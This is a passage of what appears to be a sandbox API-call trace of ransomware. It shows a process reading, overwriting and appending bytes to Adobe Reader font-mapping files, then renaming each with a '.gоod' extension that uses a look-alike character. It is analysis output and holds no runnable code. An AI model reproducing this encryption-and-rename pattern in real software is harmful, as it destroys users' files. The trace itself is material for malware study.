dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.022] GetFileType (hFile=0x6e8) returned 0x1 [0104.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.022] GetFileType (hFile=0x6e8) returned 0x1 [0104.022] ReadFile (in: hFile=0x6e8, lpBuffer=0x33970e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33970e8*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0104.050] CloseHandle (hObject=0x6e8) returned 1 [0104.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0104.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.051] GetFileType (hFile=0x6e8) returned 0x1 [0104.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.051] GetFileType (hFile=0x6e8) returned 0x1 [0104.051] WriteFile (in: hFile=0x6e8, lpBuffer=0x3395e00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x3395e00*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0104.051] CloseHandle (hObject=0x6e8) returned 1 [0104.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0104.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.gоod", lpFilePart=0x0) returned 0x6a [0104.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0104.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea74a4e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a3b997a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3287)) returned 1 [0104.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0104.051] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt.gоod")) returned 1 [0104.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0104.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), fInfoLevelId=0x0, lpFileInformation=0x34135d8 | out: lpFileInformation=0x34135d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49eb)) returned 1 [0104.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0104.052] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.052] GetFileType (hFile=0x6e8) returned 0x1 [0104.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.053] GetFileType (hFile=0x6e8) returned 0x1 [0104.053] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0104.053] ReadFile (in: hFile=0x6e8, lpBuffer=0x3413a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3413a70*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0104.058] CloseHandle (hObject=0x6e8) returned 1 [0104.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.058] GetFileType (hFile=0x6e8) returned 0x1 [0104.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.058] GetFileType (hFile=0x6e8) returned 0x1 [0104.058] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x49eb [0104.059] WriteFile (in: hFile=0x6e8, lpBuffer=0x34163c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x34163c8*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0104.468] CloseHandle (hObject=0x6e8) returned 1 [0104.468] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.469] GetFileType (hFile=0x6e8) returned 0x1 [0104.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.469] GetFileType (hFile=0x6e8) returned 0x1 [0104.469] ReadFile (in: hFile=0x6e8, lpBuffer=0x33c1de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33c1de8*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0104.508] CloseHandle (hObject=0x6e8) returned 1 [0104.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.508] GetFileType (hFile=0x6e8) returned 0x1 [0104.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.508] GetFileType (hFile=0x6e8) returned 0x1 [0104.508] WriteFile (in: hFile=0x6e8, lpBuffer=0x33c0b00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33c0b00*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0104.508] CloseHandle (hObject=0x6e8) returned 1 [0104.509] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT", lpFilePart=0x0) returned 0x65 [0104.509] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.gоod", lpFilePart=0x0) returned 0x6a [0104.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0104.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a80bd7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x49fb)) returned 1 [0104.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0104.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt.gоod")) returned 1 [0104.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0104.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0104.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), fInfoLevelId=0x0, lpFileInformation=0x3443e60 | out: lpFileInformation=0x3443e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x34d3)) returned 1 [0104.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0104.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0104.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.510] GetFileType (hFile=0x6e8) returned 0x1 [0104.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.510] GetFileType (hFile=0x6e8) returned 0x1 [0104.510] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0104.510] ReadFile (in: hFile=0x6e8, lpBuffer=0x34442f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x34442f8*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0104.770] CloseHandle (hObject=0x6e8) returned 1 [0104.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0104.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.770] GetFileType (hFile=0x6e8) returned 0x1 [0104.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.770] GetFileType (hFile=0x6e8) returned 0x1 [0104.770] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x34d3 [0104.776] WriteFile (in: hFile=0x6e8, lpBuffer=0x3316950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3316950*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0104.777] CloseHandle (hObject=0x6e8) returned 1 [0104.780] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0104.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0104.781] GetFileType (hFile=0x6e8) returned 0x1 [0104.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0104.781] GetFileType (hFile=0x6e8) returned 0x1 [0104.781] ReadFile (in: hFile=0x6e8, lpBuffer=0x3318c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3318c50*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0104.966] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0105.511] CloseHandle (hObject=0x6e8) returned 1 [0105.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0105.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.512] GetFileType (hFile=0x6e8) returned 0x1 [0105.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.512] GetFileType (hFile=0x6e8) returned 0x1 [0105.512] WriteFile (in: hFile=0x6e8, lpBuffer=0x32e45a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x32e45a8*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0105.512] CloseHandle (hObject=0x6e8) returned 1 [0105.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT", lpFilePart=0x0) returned 0x65 [0105.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.gоod", lpFilePart=0x0) returned 0x6a [0105.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0105.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b195251, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x34e3)) returned 1 [0105.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0105.513] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt.gоod")) returned 1 [0105.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0105.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), fInfoLevelId=0x0, lpFileInformation=0x35e60b0 | out: lpFileInformation=0x35e60b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeac0ed3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x345b)) returned 1 [0105.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0105.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), dwDesiredAccess=0xc0000000, 